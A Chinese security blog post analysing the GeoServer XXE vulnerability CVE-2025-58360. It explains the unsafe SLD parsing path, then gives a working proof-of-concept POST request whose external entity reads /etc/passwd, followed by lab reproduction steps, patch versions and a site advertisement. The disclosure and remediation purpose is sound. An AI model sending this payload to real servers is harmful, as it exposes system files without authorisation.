文章总结: GeoServer存在XML外部实体注入漏洞(CVE-2025-58360),该漏洞源于/geoserver/wms端点的GetMap操作在接收XML请求时未对外部实体引用进行充分限制。攻击者可利用此漏洞通过构造恶意XML数据注入外部实体,读取服务器敏感信息或导致拒绝服务。文章提供了漏洞复现的POC代码,并建议用户及时更新至最新版本:GeoServer2.25.*>=2.25.6,GeoServer2.26.*>=2.26.2,GeoServer>=2.27.0或2.28.0。
综合评分: 91
文章分类: 漏洞分析,WEB安全,漏洞预警,渗透测试,解决方案
【POC】GeoServer XML外部实体注入漏洞分析 (CVE-2025-58360)
原创
棉花糖糖糖
棉花糖fans
2025年11月26日 14:36
四川
前言
今天各家都通报了CVE-2025-58360 GeoServer XXE,但没有poc,特有此文,文中poc仅供合法测试,用于企业自查,切勿用于非法测试,未授权测试造成后果由使用者承担,与本公众号无关。
漏洞概述
GeoServer是一款开源的服务器,用于共享和编辑地理空间数据。它支持多种地图和数据标准,如WMS、WFS、WCS等,广泛应用于地理信息系统(GIS)领域,帮助用户发布和管理地理数据。**GeoServer XML外部实体注入漏洞(CVE-2025-58360)**,该漏洞源于 /geoserver/wms 端点的 GetMap 操作在接收 XML 请求时未对外部实体引用进行充分限制。攻击者可以利用该漏洞,通过构造恶意的 XML 数据注入外部实体,从而读取服务器上的敏感信息或导致拒绝服务
漏洞原理
1. WMS 服务架构分析
GeoServer 的 WMS (Web Map Service) 遵循 OGC 标准,支持多种请求方式:
- KVP (Key-Value Pair): URL 参数方式
- XML: XML 文档方式
- SOAP: 基于 SOAP 协议
其中 GetMap 操作是 WMS 的核心功能,用于生成地图图像。GetMap 支持通过 SLD 或 SLD_BODY 参数传入自定义样式定义。
2. 漏洞分析
首先,SLD 是 OGC 标准,用于定义地图图层的样式。GeoServer 对 SLD 的处理流程如下:
HTTP Request → SLDXmlRequestReader → SLDHandler.parse() → XML Parser
关键代码路径分析:
SLDXmlRequestReader.java:40-42
StyledLayerDescriptor sld = Styles.handler(getMap.getStyleFormat())
.parse(reader, getMap.styleVersion(), null, null);
问题所在:
- 第4个参数
entityResolver传入null - 这意味着没有安全的外部实体解析器限制
- XML 解析器将处理所有外部实体引用
SLD 1.0 解析 (parse10 方法,第182行):
SLDParser p = createSld10Parser(input, resourceLocator, entityResolver);
StyledLayerDescriptor sld = p.parseSLD();
SLD 1.1 解析 (parse11 方法,第204行):
Parser parser = createSld11Parser(input, resourceLocator, entityResolver);
return (StyledLayerDescriptor) parser.parse(reader);
由于传入的 entityResolver 为 null,解析器使用默认配置,允许解析外部实体,导致漏洞产生。
漏洞复现
此漏洞环境已上架无境:https://vip.bdziyi.com/ulab/
image-20251126142228372
打开web靶场,选择CVE2025-58360 GeoServer XXE,启动环境
image-20251126142247144
poc如下:
POST /geoserver/wms?service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-130,24,-66,50&width=800&height=400&srs=EPSG:4326&format=image/png HTTP/1.1
Host:
Content-Type: application/vnd.ogc.sld+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld">
<NamedLayer>
<Name>&xxe;</Name>
<UserStyle/>
</NamedLayer>
</StyledLayerDescriptor>
image-20251126142334679
获取flag:
image-20251126142419014
image-20251126142440191
修复建议
官方已发布安全补丁,请及时更新至最新版本:
GeoServer 2.25.* >= 2.25.6
GeoServer 2.26.* >= 2.26.2
GeoServer >= 2.27.0
GeoServer >= 2.28.0
广告时间:
棉花糖会员站介绍(25年11月15日版本) 新增在线独立环境内网靶场
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:棉花糖fans 棉花糖糖糖《【POC】GeoServer XML外部实体注入漏洞分析 (CVE-2025-58360)》